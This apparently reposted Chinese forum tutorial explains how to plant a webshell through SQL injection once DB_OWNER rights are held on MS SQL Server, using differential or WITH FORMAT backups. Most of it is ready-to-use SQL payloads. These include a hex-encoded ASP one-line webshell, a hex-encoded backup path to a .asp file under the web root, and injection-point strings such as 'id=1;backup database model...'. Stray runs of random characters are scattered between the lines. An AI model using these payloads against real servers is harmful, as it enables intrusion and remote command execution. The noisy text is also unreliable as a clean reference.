DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

一利用差异备份
* s# }  \- y0 U# v# ?2 e/ @4 O( ?加一个参数WITH DIFFERENTIAL
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8 A4 T* N" `8 P; y5 wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
  Y5 @# |4 ~+ n0 @create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
4 `/ I6 [+ G4 H; |4 @  sdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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$ p8 H- U7 j- P" K二利用完全FORMAT
" V1 |# i% A  ?2 D加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

+ Q5 d- E& H/ _! sdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
" b/ X; }  b- J6 @" q% Jcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
; g2 y% ~0 u* n; o) Edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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总的来说就是那么简单几句,下面以备份数据库model为例子
; e& l5 E5 D/ c# h' |
id=1;use model create table cmd(str image);insert into cmd(str) values (”)

% @( i" O. k8 d1 M6 p- ~# {id=1;backup database model to disk=’你的路径‘ with differential,format;–
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